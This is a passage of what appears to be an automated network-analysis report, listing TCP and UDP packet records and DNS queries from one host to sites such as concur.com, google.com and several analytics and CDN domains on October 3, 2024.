Oct 3, 2024 10:42:06.660880089 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.667414904 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.667496920 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.667766094 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.667907953 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.667907953 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.667922974 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.667973042 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.667973042 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.670042992 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.670061111 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.670136929 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.670145035 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.670228004 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.674134016 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.674228907 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.674324989 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.674621105 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.674654961 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.684787989 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.684815884 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.684853077 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.684870005 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.684891939 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.684907913 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.692369938 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.692428112 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.692456961 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.692460060 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.692507029 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.692775965 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.692791939 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.754298925 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.754324913 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.754362106 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.754370928 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.754399061 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.754478931 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.757661104 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.757740974 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.757747889 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.757764101 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.757818937 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.764770031 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.764789104 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.771802902 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.771848917 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.771913052 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.779407978 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.779431105 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:07.309324026 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:07.309403896 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:07.310231924 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:07.310648918 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:07.310667038 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:07.675041914 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:07.677870035 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:07.677889109 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:07.679229021 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:07.684475899 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:07.684565067 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:07.684634924 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:07.684777021 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:07.684880972 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:07.684906960 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:07.686064959 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:07.686460972 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:07.686644077 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:07.686814070 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:07.727402925 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:07.731416941 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.033121109 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.033220053 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.045397997 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.045414925 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.046035051 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.095241070 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.135401964 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.178374052 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.182379007 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.186914921 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.186960936 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.186994076 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.187020063 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.187036991 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.187072992 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.191927910 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.191977978 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.192028046 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.192054987 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.192071915 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.192105055 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.290115118 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.290186882 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.290205956 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.290234089 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.290255070 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.290287018 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.290709972 CEST	50234	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.290724039 CEST	443	50234	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.306375027 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.306401968 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.306474924 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.306493044 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.306533098 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.306561947 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.318169117 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.318192005 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.318260908 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.318272114 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.318321943 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.340492010 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.340512037 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.340527058 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.340562105 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.340568066 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.340574980 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.340591908 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.340611935 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.340625048 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.340655088 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.345261097 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.345308065 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.345334053 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.345341921 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.345371962 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.345396996 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.345465899 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.345526934 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.345544100 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.345556021 CEST	50238	443	192.168.2.4	20.12.23.50
Oct 3, 2024 10:42:08.345561028 CEST	443	50238	20.12.23.50	192.168.2.4
Oct 3, 2024 10:42:08.390940905 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.391000986 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.391063929 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.391083002 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.391113997 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.391135931 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.393435955 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.393513918 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.393537998 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.393732071 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:08.393788099 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.409894943 CEST	50235	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:08.409920931 CEST	443	50235	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:26.775996923 CEST	50243	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:42:26.776043892 CEST	443	50243	142.250.186.164	192.168.2.4
Oct 3, 2024 10:42:26.776122093 CEST	50243	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:42:26.776348114 CEST	50243	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:42:26.776359081 CEST	443	50243	142.250.186.164	192.168.2.4
Oct 3, 2024 10:42:27.415456057 CEST	443	50243	142.250.186.164	192.168.2.4
Oct 3, 2024 10:42:27.415935040 CEST	50243	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:42:27.415962934 CEST	443	50243	142.250.186.164	192.168.2.4
Oct 3, 2024 10:42:27.416338921 CEST	443	50243	142.250.186.164	192.168.2.4
Oct 3, 2024 10:42:27.416671991 CEST	50243	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:42:27.416734934 CEST	443	50243	142.250.186.164	192.168.2.4
Oct 3, 2024 10:42:27.467467070 CEST	50243	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:42:37.337548018 CEST	443	50243	142.250.186.164	192.168.2.4
Oct 3, 2024 10:42:37.337636948 CEST	443	50243	142.250.186.164	192.168.2.4
Oct 3, 2024 10:42:37.337732077 CEST	50243	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:42:38.266516924 CEST	50243	443	192.168.2.4	142.250.186.164
Oct 3, 2024 10:42:38.266546011 CEST	443	50243	142.250.186.164	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 10:41:22.475099087 CEST	60279	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:22.475390911 CEST	53184	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:22.596496105 CEST	53	56935	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:22.596513987 CEST	53	52945	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:23.638051033 CEST	53	58083	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:23.708961964 CEST	59218	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:23.710058928 CEST	55407	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:23.716181993 CEST	53	59218	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:23.736145020 CEST	53	55407	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:23.777080059 CEST	63126	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:23.785983086 CEST	57006	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:23.786257982 CEST	56163	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:23.789452076 CEST	53	63126	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:25.157332897 CEST	57669	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:25.157501936 CEST	54655	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:25.298043966 CEST	49261	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:25.298216105 CEST	56173	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:25.317087889 CEST	53	56173	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:25.335246086 CEST	53	49261	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:26.711895943 CEST	64910	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:26.712088108 CEST	65484	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:26.718848944 CEST	53	64910	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:26.718885899 CEST	53	65484	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:26.787019014 CEST	59704	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:26.787213087 CEST	57680	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:27.153469086 CEST	54110	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:27.153642893 CEST	59846	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:27.160573006 CEST	53	54110	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:27.161359072 CEST	53	59846	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:28.650692940 CEST	64138	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:28.650758982 CEST	64414	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:28.657819986 CEST	53	64138	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:28.659327030 CEST	53	64414	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:28.788692951 CEST	61685	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:28.837507963 CEST	63167	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:29.580199003 CEST	53927	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:29.580743074 CEST	52582	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:29.590503931 CEST	53	52582	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:29.592647076 CEST	64838	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:29.592797995 CEST	60814	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:29.593786001 CEST	64582	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:29.594110966 CEST	63969	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:29.599313974 CEST	53	53927	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:29.602050066 CEST	53	64582	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:29.602706909 CEST	53	63969	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:29.616446972 CEST	53	64838	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:29.625077963 CEST	53	60814	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:30.110944986 CEST	58363	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:30.112082005 CEST	52318	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:30.131076097 CEST	53	58363	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:30.131082058 CEST	53	52318	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:30.155530930 CEST	52481	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:30.155781984 CEST	54917	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:30.887023926 CEST	138	138	192.168.2.4	192.168.2.255
Oct 3, 2024 10:41:31.456487894 CEST	50626	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.456625938 CEST	51205	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.463485956 CEST	53	50626	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:31.464083910 CEST	53	51205	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:31.496309996 CEST	63417	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.496517897 CEST	55978	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.504672050 CEST	53	55978	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:31.504740953 CEST	53	63417	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:31.624531031 CEST	54489	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.624696970 CEST	54015	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.626509905 CEST	49801	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.626790047 CEST	53174	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.630176067 CEST	57780	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.630301952 CEST	58062	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.632504940 CEST	59427	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.632643938 CEST	49933	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:31.635411978 CEST	53	53174	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:31.635555029 CEST	53	49801	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:31.640660048 CEST	53	57780	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:31.649110079 CEST	53	58062	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:32.161900997 CEST	56256	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:32.161901951 CEST	62450	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:32.168821096 CEST	53	56256	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:32.168832064 CEST	53	62450	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:33.842480898 CEST	62338	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:33.842720985 CEST	57417	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:33.844346046 CEST	54975	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:33.844491959 CEST	51709	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:33.849709034 CEST	53	57417	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:33.851788998 CEST	53	51709	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:33.855294943 CEST	53	54975	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:34.038377047 CEST	60877	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:34.038503885 CEST	56600	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:34.043026924 CEST	64452	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:34.043153048 CEST	58718	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:34.045389891 CEST	53	60877	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:34.045469999 CEST	53	56600	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:34.051786900 CEST	53	58718	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:34.052148104 CEST	53	64452	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:34.097611904 CEST	62304	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:34.097762108 CEST	50080	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:34.104803085 CEST	53	62304	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:34.107667923 CEST	53	50080	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:34.176460981 CEST	54746	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:34.176624060 CEST	65473	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:34.183161020 CEST	53	54746	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:34.183424950 CEST	53	65473	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:35.170331001 CEST	60922	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:35.170497894 CEST	54105	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:35.221693993 CEST	53	60922	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:35.221707106 CEST	53	54105	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:35.321683884 CEST	61519	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:35.321985006 CEST	58405	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:35.329054117 CEST	53	58405	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:35.329205990 CEST	53	61519	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:35.670974016 CEST	58000	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:35.671355009 CEST	65026	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:35.837011099 CEST	63983	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:35.837232113 CEST	57615	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:35.843700886 CEST	53	63983	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:35.844216108 CEST	53	57615	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:36.693042994 CEST	54925	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:36.693176031 CEST	52145	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:36.700229883 CEST	53	54925	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:36.701204062 CEST	53	52145	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:36.916300058 CEST	56632	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:36.916475058 CEST	55353	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:37.175230026 CEST	57271	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:37.175369024 CEST	58183	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:37.182059050 CEST	53	58183	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:37.183849096 CEST	53	57271	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:38.168968916 CEST	60021	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:38.169126987 CEST	52510	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:38.175581932 CEST	53	60021	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:38.179050922 CEST	53	52510	1.1.1.1	192.168.2.4
Oct 3, 2024 10:41:39.315301895 CEST	62606	53	192.168.2.4	1.1.1.1
Oct 3, 2024 10:41:39.315488100 CEST	49717	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 10:41:22.475099087 CEST	192.168.2.4	1.1.1.1	0x6f7c	Standard query (0)	www.concur.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:22.475390911 CEST	192.168.2.4	1.1.1.1	0x2269	Standard query (0)	www.concur.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:23.708961964 CEST	192.168.2.4	1.1.1.1	0x9fbe	Standard query (0)	cdn.schemaapp.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:23.710058928 CEST	192.168.2.4	1.1.1.1	0x5f0a	Standard query (0)	cdn.schemaapp.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:23.777080059 CEST	192.168.2.4	1.1.1.1	0xe953	Standard query (0)	cdn1124.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:23.785983086 CEST	192.168.2.4	1.1.1.1	0x5b85	Standard query (0)	assets.concur.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:23.786257982 CEST	192.168.2.4	1.1.1.1	0x82bf	Standard query (0)	assets.concur.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:25.157332897 CEST	192.168.2.4	1.1.1.1	0x5653	Standard query (0)	assets.concur.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:25.157501936 CEST	192.168.2.4	1.1.1.1	0xff0	Standard query (0)	assets.concur.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:25.298043966 CEST	192.168.2.4	1.1.1.1	0x3314	Standard query (0)	cdn.schemaapp.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:25.298216105 CEST	192.168.2.4	1.1.1.1	0x1a59	Standard query (0)	cdn.schemaapp.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:26.711895943 CEST	192.168.2.4	1.1.1.1	0x35e7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:26.712088108 CEST	192.168.2.4	1.1.1.1	0x4ba0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:26.787019014 CEST	192.168.2.4	1.1.1.1	0x46f5	Standard query (0)	www.concur.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:26.787213087 CEST	192.168.2.4	1.1.1.1	0xc4c3	Standard query (0)	www.concur.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:27.153469086 CEST	192.168.2.4	1.1.1.1	0xb4cc	Standard query (0)	api.company-target.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:27.153642893 CEST	192.168.2.4	1.1.1.1	0xeaf4	Standard query (0)	api.company-target.com	65	IN (0x0001)	false
Oct 3, 2024 10:41:28.650692940 CEST	192.168.2.4	1.1.1.1	0x6e9b	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.650758982 CEST	192.168.2.4	1.1.1.1	0x2b8a	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 10:41:28.788692951 CEST	192.168.2.4	1.1.1.1	0x69b0	Standard query (0)	s.go-mpulse.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 10:41:28.837507963 CEST	192.168.2.4	1.1.1.1	0x1971	Standard query (0)	s.go-mpulse.net	65	IN (0x0001)	false
